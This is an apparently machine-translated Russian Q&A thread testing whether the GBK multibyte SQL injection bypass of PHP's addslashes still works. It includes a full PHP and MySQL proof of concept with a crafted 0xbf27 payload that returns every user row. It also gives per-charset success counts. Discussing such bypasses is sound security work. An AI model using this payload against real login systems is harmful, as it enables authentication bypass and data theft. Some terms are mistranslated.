Php добавляет, что SQL-инъекция по-прежнему действительна?

Я знаю, что «параметризованные запросы» – это священный Грааль. Это не тема.

Существует старая статья, которая, по-видимому, является ссылкой на все обсуждения, связанные с инъекциями sql при использовании addlashes.

Это ссылка: http://shiflett.org/blog/2006/jan/addslashes-versus-mysql-real-escape-string

Мой вопрос: верно ли это доказательство концепции? Я попытался протестировать его, но, похоже, он работает правильно. Кто-нибудь еще на самом деле пробовал это или все воспринимаются как должное?

  • Я добавил $ db-> set_charset ("GBK");
  • Я использовал gbk_chinese_ci для db / fields
  • Журнал mysql показывает этот запрос
  • SELECT * FROM users WHERE username = ' \' OR username = username /*' AND password = 'guess' 

    так ясно, что это не работает

    Обновление : Пожалуйста, прочитайте вопрос, который я задаю. Мне не нужна лучшая практика, мне не нужны альтернативы, мне просто нужно убедиться, что это все еще актуально или нет.

    Обновление : Также я хотел бы напомнить, что POC работает для наборов символов, таких как GBK, SJIS или BIG5, и все, похоже, забывают об этом. Создание заголовков звучит немного страшно, когда говорить, что добавление не безопасно.

    Решение . В моем случае версия mysql 5.5.9-log не разрешает встроенные комментарии, которые не заканчиваются как / *. Если я использую – или # это работает.

    Кажется, это работает для меня.

    MySQL:

     mysql> select version(); +---------------------+ | version() | +---------------------+ | 5.0.45-community-nt | +---------------------+ 1 row in set (0.00 sec) mysql> CREATE TABLE users ( -> username VARCHAR(32) CHARACTER SET GBK, -> password VARCHAR(32) CHARACTER SET GBK, -> PRIMARY KEY (username) -> ); Query OK, 0 rows affected (0.08 sec) mysql> insert into users SET username='ewrfg', password='wer44'; Query OK, 1 row affected (0.02 sec) mysql> insert into users SET username='ewrfg2', password='wer443'; Query OK, 1 row affected (0.03 sec) mysql> insert into users SET username='ewrfg4', password='wer4434'; Query OK, 1 row affected (0.00 sec) 

    PHP:

     <pre><?php echo "PHP version: ".PHP_VERSION."\n"; mysql_connect(); mysql_select_db("test"); mysql_query("SET NAMES GBK"); $_POST['username'] = chr(0xbf).chr(0x27).' OR username = username /*'; $_POST['password'] = 'guess'; $username = addslashes($_POST['username']); $password = addslashes($_POST['password']); $sql = "SELECT * FROM users WHERE username = '$username' AND password = '$password'"; $result = mysql_query($sql) or trigger_error(mysql_error().$sql); var_dump($username); var_dump(mysql_num_rows($result)); var_dump(mysql_client_encoding()); $username = mysql_real_escape_string($_POST['username']); $password = mysql_real_escape_string($_POST['password']); $sql = "SELECT * FROM users WHERE username = '$username' AND password = '$password'"; $result = mysql_query($sql) or trigger_error(mysql_error().$sql); var_dump($username); var_dump(mysql_num_rows($result)); var_dump(mysql_client_encoding()); mysql_set_charset("GBK"); $username = mysql_real_escape_string($_POST['username']); $password = mysql_real_escape_string($_POST['password']); $sql = "SELECT * FROM users WHERE username = '$username' AND password = '$password'"; $result = mysql_query($sql) or trigger_error(mysql_error().$sql); var_dump($username); var_dump(mysql_num_rows($result)); var_dump(mysql_client_encoding()); 

    результат:

     PHP version: 5.3.3 string(29) "ї\' OR username = username /*" int(3) string(6) "latin1" string(29) "ї\' OR username = username /*" int(3) string(6) "latin1" string(30) "\ї\' OR username = username /*" int(0) string(3) "gbk" 

    Выводы:

    Второй результат будет самым неожиданным для тех, кто повторяет «вы должны использовать mres вместо addlashes!»

    Для вас, чтобы получить ' \' я предполагаю, что вы использовали многобайтовый символ 0x??5c вместо многобайтового символа 0x??27 .

    Я получил следующие результаты на своем сервере (количество проверенных кодовых точек, что привело к успешным впрыскам):

    • SJIS: 47/47
    • SJIS-win: 58/58
    • EUC-CN: 0/95
    • CP936: 126/126
    • BIG-5: 89/94
    • EUC-KR: 0/93

    Я не тестировал другие доступные charsets MySQL, так как они не были доступны в mbstring PHP, поэтому у меня не было быстрого способа определить, какие многобайтные символы существуют в этих кодировках. Я также пробовал только двухбайтовые символы, поэтому могут быть более уязвимые наборы символов.

    Кроме того, это помогает, если данные таблицы находятся в той же кодировке, на которую настроен клиент. В противном случае вы получите ошибки «Недопустимое смешивание коллажей» для многих потенциальных кодовых точек.